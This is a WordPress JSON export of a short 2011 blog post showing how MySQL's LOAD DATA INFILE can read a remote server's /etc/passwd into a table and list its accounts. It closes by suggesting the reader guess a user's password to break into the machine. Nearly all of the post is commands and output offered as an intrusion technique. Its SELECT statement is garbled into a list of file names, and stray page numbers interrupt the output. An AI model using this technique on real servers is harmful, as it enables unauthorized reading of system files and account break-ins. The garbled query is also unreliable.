{"id":499,"date":"2011-01-28T00:30:38","date_gmt":"2011-12-05T05:51:50","guid":{"rendered":"http:\/\/kraftek.com\/blog\/mysql-load-data-infile\/"},"modified":"2011-01-28T00:30:38","modified_gmt":"2011-12-05T05:51:50","slug":"mysql-load-data-infile","status":"publish","type":"post","link":"\/blog\/index.php\/mysql-load-data-infile\/","title":{"rendered":"mysql &#8220;load data infile&#8221;"},"content":{"rendered":"<p>Say you want to know which users are in a remote server&#8230; and you have access to mysql on that server.<br \/>\n# mysql -h remote server;<br \/>\nmysql&gt; show databases;<br \/>\n+&#8212;&#8212;&#8212;&#8212;+<br \/>\n| Database |<br \/>\n+&#8212;&#8212;&#8212;&#8212;+<br \/>\n| ixx |<br \/>\n| mysql |<br \/>\n| phpmyadmin |<br \/>\n| test |<br \/>\n| video |<br \/>\n| x10 |<br \/>\n| zm |<br \/>\n+&#8212;&#8212;&#8212;&#8212;+<br \/>\nmysql &gt; use ixx;<br \/>\nDatabase changed<br \/>\nmysql&gt; show tables;<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| Tables_in_issy |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| ccs |<br \/>\n| fss |<br \/>\n| p |<br \/>\n| prop |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n4 rows in set (0.00 sec)<br \/>\nmysql&gt; CREATE TABLE `p` ( `p` TEXT NOT NULL<br \/>\n) TYPE = MYISAM;<br \/>\nmysql&gt; load data infile &#8216;\/etc\/passwd&#8217; into table p;<br \/>\nmysql&gt; select kraftek.html POSTS rescue rescued.html rescued.txt x y z from p;<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| p |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| root:x:0:0::\/root:\/bin\/bash |<br \/>\n| bin:x:1:1:bin: \/bin: |<br \/>\n| daemon:x:2:2:daemon:\/sbin: |<br \/>\n| adm:x:3:4:adm: \/var\/log: |<br \/>\n| lp:x:4:7:lp:\/var\/spool\/lpd: |<br \/>\n| sync:x:5:0:sync:\/sbin:\/bin\/sync |<br \/>\n| shutdown:x:6:0:shutdown:\/sbin: \/sbin\/shutdown |<br \/>\n| halt:x:7:0:halt:\/sbin:\/sbin\/halt |<br \/>\n129\/433<br \/>\n| mail:x:8:12:mail:\/: |<br \/>\n| news:x:9:13:news:\/usr\/lib\/news: |<br \/>\n| uucp:x:10:14:uucp:\/var\/spool\/uucppublic: |<br \/>\n| operator:x:11: 0:operator:\/root:\/bin\/bash |<br \/>\n| games:x:12:100:games:\/usr\/games: |<br \/>\n| ftp:x:14:50::\/home\/ftp: |<br \/>\n| smmsp:x:25:25: smmsp:\/var\/spool\/clientmqueue: |<br \/>\n| mysql:x:27:27: MySQL:\/var\/lib\/mysql:\/bin\/bash |<br \/>\n| rpc:x:32:32:RPC portmap user:\/:\/bin\/false |<br \/>\n| sshd:x:33:33:sshd:\/: |<br \/>\n| gdm:x:42:42:GDM:\/var\/state\/gdm:\/bin\/bash |<br \/>\n| pop:x:90:90:POP:\/: |<br \/>\n| nobody:x:99:99:nobody:\/: |<br \/>\n| apache:x:1000: 102::\/home\/apache:\/bin\/bash |<br \/>\n| iceuser:x:1001:104::\/usr\/local\/icecast2: |<br \/>\n| vvb:x:1002:100::\/home\/vvb: |<br \/>\n| ixx:x:1003:100:invitado,1,58252323,:\/home\/ixx: \/bin\/bash |<br \/>\n| dvd:x:1004:100:Dvd,,,:\/home\/dvd:\/bin\/bash |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n26 rows in set (0.00 sec)<br \/>\nYou maybe can guess a password for one of these users and get access to the box<br \/>\n130\/433<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Say you want to know which users are in a remote server&#8230; and you have access to mysql on that server. # mysql -h remote server; mysql&gt; show databases; +&#8212;&#8212;&#8212;&#8212;+ | Database | +&#8212;&#8212;&#8212;&#8212;+ | ixx | | mysql | | phpmyadmin | | test | | video | | x10 | | zm | [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-499","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts\/499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=499"}],"version-history":[{"count":0,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/posts\/499\/revisions"}],"wp:attachment":[{"href":"\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=499"},{"taxonomy":"post_tag","embeddable":true,"href":"\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}